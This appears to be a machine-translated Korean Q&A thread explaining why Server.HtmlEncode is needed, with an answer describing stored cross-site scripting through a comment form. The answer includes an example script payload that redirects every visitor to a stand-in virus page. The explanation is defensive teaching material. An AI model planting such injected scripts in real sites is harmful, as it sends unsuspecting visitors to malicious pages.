2011-07-27 4 views
4

Server.HtmlEncode가 필요한 이유를 이해할 수 없습니까? MSDN은 잠재적으로 안전하지 않은 문자를 HTML로 인코딩 된 동등한 것으로 인코딩하는 데 사용된다고 말합니다.왜 Server.HtmlEncode가 필요합니까?

누군가이 문자가 안전하지 않아서 Server.HtmlEncode를 사용해야한다고 생각할 수 있습니까?

감사합니다.

+4

두 단어로? XSS 공격. http://en.wikipedia.org/wiki/Cross-site_scripting –

답변

10

사용자가 페이지에 댓글을 제출하는 경우 문자가 안전하지 않을 수 있다는 한 가지 예가 있습니다. 주석 형식이 HtmlEncode를 사용하지 않으면 사용자가 방금 입력 한 내용이 페이지의 주석으로 표시됩니다. 이 경우, 해커는 같은 의견을 제출 할 수있는 다음 페이지 (그것이 대해 HTMLEncode로 인코딩되지 않았기 때문에), 스크립트가 실행됩니다를로드 이후의 각 사용자에 대해

<script language="javascript" type="text/javascript"> 
window.location = 'http://server.com/viruspage.asp'; 
</script> 

, 각 사용자 리디렉션 바이러스가있는 페이지. 이것은 매우 간단한 예이지만 악의적 인 데이터를 입력하는 다른 많은 방법이 있으며 잠재적으로 해커가 데이터베이스에 대한 관리 액세스 권한을 부여 할 수도 있습니다.